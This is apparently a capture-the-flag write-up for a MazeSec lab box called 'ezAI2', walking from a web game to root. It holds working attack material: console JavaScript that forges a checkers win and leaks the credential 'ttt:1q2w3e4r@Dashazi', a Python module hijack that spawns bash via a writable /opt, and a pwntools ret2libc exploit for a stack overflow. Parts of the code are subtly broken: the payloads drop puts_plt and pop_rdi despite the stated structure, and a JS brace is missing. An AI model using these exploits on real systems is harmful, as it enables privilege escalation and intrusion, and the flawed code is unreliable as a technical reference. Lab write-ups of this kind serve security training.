mazesec ezai2

This is a clear and detailed report on a real-target penetration test, covering the entire process from initiating an attack through to gaining root access. Initially, the attacker analyzed the WebAssembly (Wasm) state machine code and directly manipulated the number of moves and the encryption proof in the console, successfully bypassing the front-end checkers logic to obtain initial privileges. Next, they exploited a sudo configuration flaw and the writable permissions of the /opt/ directory to hijack the system using the Python standard library (by forging the random.py script), allowing them to move laterally to the yolo user account. Finally, targeting the waityou binary program, which had a stack buffer overflow vulnerability, they used Pwntools to write a two-stage Ret2libc exploit code, successfully overcoming the NX protection mechanism and gaining root access.

Type: MazeSec Recommended reading: None

Image

Web Service

The port 8080 hosts a checkers game that only reveals the next move if the player wins.

Audit Code

The program retrieves initial session information through the /init interface and initializes the client’s WebAssembly (Wasm) state machine:

// Retrieve the Session ID and random seed
const resp = await fetch("/init");
const data = await resp.json();
sessionID = data.session_id;

// Initialize the game state
initGame(sessionID, data.seed);

Each move, whether made by the player or the AI, synchronously updates the encryption proof in the Wasm module. This is the key to bypassing the security checks:

// Each move updates the proof in the Wasm module
moves.push(index);
updateProof(index, moves.length - 1);

The updateProof function is exposed in the global scope, and the proof it generates depends only on the index (position) and moves.length (number of moves). This allows for manual simulation of the game process.

When the player is declared the winner, the front-end retrieves the current encryption proof and sends a verification request to the server:

async function handleWin() {
    // Retrieve the final proof generated by Wasm
    const proof = getCurrentProof();  // This proof is crucial for winning

    // Send the verification request to the server
    const resp = await fetch("/win", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({
            session_id: sessionID,
            moves: moves,  // Array of moves
            proof: proof  // Critical encryption credential
        })
    });
}

Exploitation

const fakeMoves = [0, 2, 3, 4, 6];
moves = [];  // Global variable to store moves
fakeMoves.forEach((move, index) => {
    moves.push(move);
    updateProof(move, index);  // Update the proof
});
fetch("/win", {
    method: "POST",
    headers: { "Content-Type": "application/json",
    body: JSON.stringify({
        session_id: sessionID,
        moves: moves,
        proof: getCurrentProof()
    })
}).then(r => r.json()).then(console.log);

Response from the server: flag: "ttt:1q2w3e4r@Dashazi"

---

# USER

```jsx
ttt@ezAI2:~$ sudo -l
Matching Defaults entries for ttt on ezAI2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ttt may run the following commands on ezAI2:
    (yolo) NOPASSWD: /usr/bin/python3 /opt/greeting.py  // Highlighted

Audit code: /opt/greeting.py

The script imports standard library modules at the beginning: import datetime and import random.

Python defaults to loading modules from the current directory.

Executing ls -ld /opt/ reveals that the directory has permissions drwxrwxrwt (777) and includes the sticky bit.

Exploitation

# 1. Construct a malicious module to inject rebound or interactive Shell code
echo 'import os; os.system("/bin/bash")' > /opt/random.py

2. Execute the Sudo command

sudo -u yolo /usr/bin/python3 /opt/greeting.py

## ROOT Access

```bash
yolo@ezAI2:~$ checksec waityou
[*] '/home/yolo/waityou'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

AI Analysis:

• NX (No-Execute Bit): Enabled, which prevents direct execution of Shellcode on the stack.
• PIE (Position Independent Executable): Not enabled; function addresses (e.g., 0x400000) are fixed.
• Canary (Stack Protection): Not present, allowing for potential stack overflow attacks.
• ASLR (Address Space Layout Randomization): Enabled at the system level, making library addresses change each time the program runs.

Reverse Engineering

Reverse engineering with Ghidra revealed a typical Stack Buffer Overflow (SBOF) vulnerability in the code:

• Code snippet: vuln contains read(0, local_48, 0x100);
• Analysis: The variable local_48 is allocated only 64 bytes, but the read function attempts to read 256 bytes (0x100).

Offset calculation:

• Buffer size: 64 bytes.
• Size of the Saved RBP (Register Base Pointer): 8 bytes.
• Padding: 64 + 8 = 72 bytes. The return address (RIP) can be overwritten starting from byte 73.

Attack strategy: Use Ret2libc to return control to the C standard library.

Since NX is enabled and there is no /bin/sh string available in the program, a two-stage attack is used:

Stage 1: Leak the Libc Base Address

The puts function is used to print the actual address of the Libc library in the GOT (Global Offset Table).

Payload structure: Padding(72) + POP_RDI_RET + PUTS_GOT + PUTS_PLT + VULN_ADDR.

Stage 2: Obtain Root Shell Access

Payload structure: Padding(72) + RET (for stack alignment) + POP_RDI_RET + BINSH_ADDR + SYSTEM_ADDR.

Proof of Concept (POC)

We implemented the following proof of concept by communicating with an AI and making necessary adjustments:

from pwn import *  # Import the Pwntools library

# 1. Set the target and establish a connection
p = remote('127.0.0.1', 9999)  # Connect to the remote host (127.0.0.1) on port 9999
elf = ELF('./waityou')        # Load the ELF file ('waityou')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')  # Load thelibc library

# Manually identified ROP (Return-Of-Call) components
pop_rdi = 0x00401246
ret = 0x00401247

# Retrieve the addresses of the relevant functions
puts_plt = elf.plt['puts']      # Address of the puts function
puts_got = elf.got['puts']      # Address of the puts function's return pointer
vuln_addr = elf.symbols['vuln']    # Address of the vulnerability

# ==================== Stage 1: Leaking the actual address of libc ====================
log.info("--- Stage 1: Leaking the base address of libc ---")
# The padding used is 72 bytes
payload1 = b"A" * 72
payload1 += p64(ret)           # Add ret to align the stack for 16 bytes to prevent the puts function from crashing
payload1 += p64(pop_rdi)          # Add the address of the pop_rdi function
payload1 += p64(puts_got)         # Add the address of the puts_got function
payload1 += p64(vuln_addr)        # Add the address of the vulnerability

# Send the payload to the remote host
p.recvuntil(b"Enter Access Code: ")
p.sendline(payload1)

# Receive the response from the remote host
leak_raw = p.recvline(drop=True)
# Right-align the leaked value to 8 bytes using '\x00'
puts_real_addr = u64(leak_raw.ljust(8, b'\x00'))
log.success(f"The actual memory address of the puts function has been leaked: {hex(puts_real_addr)}")

# ==================== Stage 2: Calculating the offset and exploiting the vulnerability ====================
log.info("--- Stage 2: Calculating and exploiting the vulnerability ---")
# Calculate the offset from the leaked libc address to the puts function
libc.address = puts_real_addr - libc.symbols['puts']
log.success(f"ASLR (Address Space Layout Randomization) has been bypassed; the base address of libc is: {hex(libc.address)}")

# Retrieve the address of the system function
system_addr = libc.symbols['system']
# Find the path to the /bin/sh shell
binsh_addr = next(libc.search(b'/bin/sh'))
log.success(f"The actual address of the /bin/sh shell is: {hex(system_addr)}")
log.success(f"The actual address of /bin/sh has been determined: {hex(binsh_addr)}")

# Construct the final payload
payload2 = b"A" * 72             # Use the same padding size (72 bytes)
payload2 += p64(ret)            # Add the return address of the pop_rdi function
payload2 += p64(binsh_addr)          # Add the address of the /bin/sh shell
payload2 += p64(system_addr)         # Add the address of the system function

# Send the payload to the remote host
p.recvuntil(b"Enter Access Code: ")
p.sendline(payload2)

log.success("The final payload has been sent; interactive mode is enabled...")
p.interactive()  # Enter interactive mode with the remote host